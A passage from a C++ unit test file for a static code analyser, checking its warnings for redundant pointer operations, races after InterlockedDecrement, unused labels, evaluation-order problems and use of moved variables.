{\\n\"\n \" if (ull == 0x89504e470d0a1a0a || ull == 0x8a4d4e470d0a1a0a) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantPointerOp() {\n check(\"int *f(int *x) {\\n\"\n \" return &*x;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'x' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int *f(int *y) {\\n\"\n \" return &(*y);\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'y' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #10991\n \" int value = 4;\\n\"\n \" int result1 = *(&value);\\n\"\n \" int result2 = *&value;\\n\"\n \" return result1 + result2;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\"\n \"[test.cpp:4:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int& a, int b) {\\n\"\n \" *(&a) = b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Redundant pointer operation on 'a' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int**& p) {}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define\tRESTORE(ORIG, COPY) { *ORIG = *COPY; }\\n\"\n \"void f(int* p, int i) {\\n\"\n \" RESTORE(p, &i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no warning for bitwise AND\n check(\"void f(const int *b) {\\n\"\n \" int x = 0x20 & *b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // No message for double pointers to structs\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // another double pointer to struct - with an array\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // double pointer to array\n check(\"void f(char **ptr) {\\n\"\n \" int *x = &(*ptr)[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\", errout_str());\n\n // function calls\n check(\"void f(Mutex *mut) {\\n\"\n \" pthread_mutex_lock(&*mut);\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Redundant pointer operation on 'mut' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // make sure we got the AST match for \"(\" right\n check(\"void f(char *ptr) {\\n\"\n \" if (&*ptr == NULL)\\n\"\n \" return;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Redundant pointer operation on 'ptr' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // no warning for macros\n checkP(\"#define MUTEX_LOCK(m) pthread_mutex_lock(&(m))\\n\"\n \"void f(struct mutex *mut) {\\n\"\n \" MUTEX_LOCK(*mut);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define B(op) bar(op)\\n\"\n \"#define C(orf) B(&orf)\\n\"\n \"void foo(const int * pkey) {\\n\"\n \" C(*pkey);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test_isSameExpression() { // see #5738\n check(\"bool isInUnoIncludeFile(StringRef name) {\"\n \" return name.startswith(SRCDIR \\\"/com/\\\") || name.startswith(SRCDIR \\\"/uno/\\\");\\n\"\n \"};\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void raceAfterInterlockedDecrement() {\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" whatever();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (!counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 < counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 == counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 != counter)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 >= counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (!newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 < newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 == newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 != newCount)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 >= newCount)\\n\"\n \" destroy;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n }\n\n void testUnusedLabel() {\n check(\"void f() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" switch(a) {\\n\"\n \" default:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" my_protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" caseZERO:\\n\"\n \" return 0;\\n\"\n \" case1:\\n\"\n \" return 1;\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Label 'caseZERO' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\"\n \"[test.cpp:5:5]: (warning) Label 'case1' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n }\n\n #define checkCustomSettings(...) checkCustomSettings_(__FILE__, __LINE__, __VA_ARGS__)\n void checkCustomSettings_(const char* file, int line, const char code[], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n void checkCustomSettings_(const char* file, int line, const char code[], Settings *s) {\n checkCustomSettings_(file, line, code, true, true, true, false, s);\n }\n\n void testEvaluationOrder() {\n check(\"void f() {\\n\"\n \" int x = dostuff();\\n\"\n \" return x + x++;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n // #7226\n check(\"long int f1(const char *exp) {\\n\"\n \" return strtol(++exp, (char **)&exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:23]: (error) Expression '++exp,exp' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" while (a=x(), a==123) {}\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 8717\n check(\"void f(int argc, char *const argv[]) {\\n\"\n \" char **local_argv = safe_malloc(sizeof (*local_argv));\\n\"\n \" int local_argc = 0;\\n\"\n \" local_argv[local_argc++] = argv[0];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" return 0 + x++;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" int a[10];\\n\"\n \" a[x+y] = a[y+x]++;;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Expression 'a[x+y]=a[y+x]++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = ++i + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Expression '++i+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, ++exp, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\"\n \"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = (~(-(++i)) + i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Expression '~(-(++i))+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n /*const*/ Settings settings11 = settingsBuilder(_settings).cpp(Standards::CPP11).build();\n\n checkCustomSettings(\"void f(int i) {\\n\"\n \" i = i++ + 2;\\n\"\n \"}\", &settings11);\n ASSERT_EQUALS(\"[test.cpp:2:11]: (error) Expression 'i+++2' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSelfAssignment() {\n // self assignment\n check(\"void f() {\\n\"\n \" int x = x = y + 1;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", // duplicate\n errout_str());\n }\n\n void testEvaluationOrderMacro() {\n // macro, don't bailout (#7233)\n checkP(\"#define X x\\n\"\n \"void f(int x) {\\n\"\n \" return x + X++;\\n\"\n \"}\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsFunctionCall() {\n // FP\n check(\"void f(int id) {\\n\"\n \" id = dostuff(id += 42);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // FN\n check(\"void f(int id) {\\n\"\n \" id = id + dostuff(id += 42);\\n\"\n \"}\", false);\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsComma() {\n check(\"int f(void) {\\n\"\n \" int t;\\n\"\n \" return (unsigned char)(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Expression 't=1,t^c' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff((t=1,t),2);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8230\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (i++, ++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (f(++fp, (*fp) <= 7));\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:18]: (error) Expression '++fp,(*fp)<=7' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSizeof() {\n check(\"void f(char *buf) {\\n\"\n \" dostuff(buf++, sizeof(*buf));\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedLessThanZero() {\n check(\"struct d {\\n\"\n \" unsigned n;\\n\"\n \"};\\n\"\n \"void f(void) {\\n\"\n \" struct d d;\\n\"\n \" d.n = 3;\\n\"\n \"\\n\"\n \" if (d.n < 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (0 > d.n) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:8:11]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\"\n \"[test.c:12:9]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\",\n errout_str());\n }\n\n void doubleMove1() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization1() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b))\\n\"\n \" {\\n\"\n \" b2 = std::move(b);\\n\"\n \" }\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization2() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b)),\\n\"\n \" b2(std::move(b))\\n\"\n \" {}\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization3() { // #9974\n check(\"struct A { int i; };\\n\"\n \"struct B { A a1; A a2; };\\n\"\n \"B f() {\\n\"\n \" A a1 = { 1 };\\n\"\n \" A a2 = { 2 };\\n\"\n \" return { .a1 = std::move(a1), .a2 = std::move(a2) };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doubleMoveMemberInitialization4() { // #11440\n check(\"struct S { void f(int); };\\n\"\n \"struct T {\\n\"\n \" T(int c, S&& d) : c{ c }, d{ std::move(d) } { d.f(c); }\\n\"\n \" int c;\\n\"\n \" S d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:51]: (warning, inconclusive) Access of moved variable 'd'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAssign1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a = g(std::move(a));\\n\"\n \" a = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndAssign2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" B b = g(std::move(a));\\n\"\n \" C c = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAssignMoveAssign() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReset1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndReset2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" A c;\\n\"\n \" b.reset(g(std::move(a)));\\n\"\n \" c.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:25]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveResetMoveReset() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameter() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterReference() {\n check(\"void g(A & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndFunctionParameterConstReference() {\n check(\"void g(A const & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterUnknown() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:5:11]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReturn() {\n check(\"int f(int i) {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" g(std::move(a));\\n\"\n \" if (i)\\n\"\n \" return g(std::move(b));\\n\"\n \" return h(std::move(a),std::move(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndClear() {\n check(\"void f() {\\n\"\n \" V v;\\n\"\n \" g(std::move(v));\\n\"\n \" v.clear();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n 